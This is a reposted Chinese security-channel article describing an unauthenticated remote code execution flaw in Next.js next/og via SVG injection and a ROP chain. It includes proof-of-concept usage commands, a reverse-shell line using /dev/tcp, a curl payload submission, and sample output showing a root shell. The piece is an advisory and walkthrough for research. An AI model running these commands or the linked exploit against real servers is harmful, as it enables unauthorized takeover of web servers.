文章总结: CVE-2026-94545漏洞允许Next.js服务器进程执行未经身份验证的代码,攻击者可通过OG图像路由发送请求来运行命令,影响Node.js运行时路径,需关注安全风险。 综合评分: 85 文章分类: 漏洞分析,网络安全,应用安全,技术标准,政策法规
CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行
Ots安全
2026年10月1日 15:11 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
威胁简报
恶意软件
漏洞攻击
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Ots安全已关注
分享视频
,时长00:11
0/0
00:00/00:11
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:11
00:11
倍速
全屏
倍速播放中
0.5倍0.75倍1.0倍1.5倍2.0倍
超清流畅
继续观看
CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行
观看更多
转载
,
CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行
Ots安全已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
next/og它通过 Satori 将 JSX 渲染成 SVG,然后栅格化该 SVG 来构建 Open Graph 图像。Satori 会将用户提供的文本写入 SVG 而不进行转义(CWE-116),因此请求可以关闭外层元素并注入自身的 SVG 标记。当路由在sharp安装了相关库的 Node.js 运行时运行时,该 SVG 会由原生库(libvips、librsvg、libxml2)而非沙盒化的 wasm 渲染器进行栅格化。由 XInclude 引用和嵌套 DTD 实体构建的有效负载会破坏原生解析器内部的内存。官方的 Node.js 二进制文件并非 PIE 版本,因此其代码和 GOT 未随机化,并且固定的 ROP 链可以到达而execve不会发生地址泄漏。只需向 OG 图像路由发送一个未经身份验证的请求,就足以以服务器进程的身份运行命令。
只有 Node.js 运行时路径会受到影响。如果安装了
--runtime-pathexport const runtime = 'edge'或未安装--runtime-pathsharp,图像将由沙盒化的resvg-wasm渲染器绘制,因此该错误不会导致代码执行。
影响
- 未经身份验证的代码将作为 Next.js 服务器进程执行。任何将请求数据传递到该进程的路由ImageResponse都是一个接收器。
- 该漏洞利用是盲目的。成功后execve,工作进程会被替换,因此 HTTP 请求会直接关闭,结果必须通过其他方式返回,例如反向 shell 或向服务器发送回传命令。
- 有效载荷稳定。由于 Node 二进制文件不是 PIE 加密的,因此对于给定的 Node 版本,每个主机和重启后的 gadget 地址都相同,所以不需要针对特定目标进行泄漏或暴力破解。
- 一次成功的攻击会导致工作进程崩溃。节点进程会被注入的命令替换,因此服务器会停止响应,直到重启为止。
环境
这是一个最小化的 Next.js 应用,用于重现存在漏洞的配置。该路由在Node 运行时/api/og渲染一个 <div>,并且已安装 <div> 以确保使用原生光栅化器。镜像精确地锁定了 ROP 链所依赖的堆栈(Node 24.20.0 非 PIE 版、Next 16.3.5、sharp 0.35.4,以及 libvips 8.18.6、librsvg 2.62.91 和 libxml2 2.15.3)。首次构建会拉取 Node,安装 npm 依赖项,并运行 <build> 命令,此过程需要几分钟。ImageResponse``sharp``next build
docker build -t cve-2026-94545 .docker run -d --name cve-2026-94545 -p3000:3000 cve-2026-94545 # sanity check: a benign render returns 200curl -s -o /dev/null -w "%{http_code}\n""http://127.0.0.1:3000/api/og?value=hello"
概念验证
存在漏洞的路由是POST /api/og。它获取请求体并将其放入 SVG 中,
最简单的运行方式是打开一个反向 shell。给它目标地址和监听地址;它会自动启动nc ,发出请求,并将 shell 交给你。
python3 exploit.py--target172.17.0.3:3000 --lhost 172.17.0.4:4444
有效载荷已针对“环境”中列出的堆栈进行校准,因此请在当前镜像或具有相同 Node 和 Sharp 构建版本的宿主机上运行它。如果成功,Node 进程将被您的命令替换,这意味着 HTTP 请求将关闭,服务将停止响应,直到容器重启。
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)[*] payload bytes=24693 sha256=...[*] Listener:nc-lvnp4444[*]POSThttp://172.17.0.3:3000/api/og (24693 bytes)[*] Target closed connection (expected)connect to[172.17.0.4]from (UNKNOWN) [172.17.0.3]43118iduid=0(root) gid=0(root) groups=0(root)uname -aLinux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
反向 shell 作为服务器进程运行,它通过单个未经身份验证的请求来确认代码执行。要运行一个没有监听器的命令,可以直接传递该命令;请注意,输出不会通过 HTTP 返回,因此命令必须将任何想要查看的内容以带外方式发送。
# single command, no listenerpython3 exploit.py --target 172.17.0.3:3000 --command"id" # only build the payload, then send it yourselfpython3 exploit.py --target 172.17.0.3:3000 --command"id" --output payload.bincurl --data-binary@payload.bin -H "Content-Type: text/plain"http://172.17.0.3:3000/api/og
项目地址:
https://github.com/EQSTLab/CVE-2026-94545
END
公众号内容都来自国外等平台- 搜索的内容通过结合编写 –
公众号 | AnQuan7 (Ots安全)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论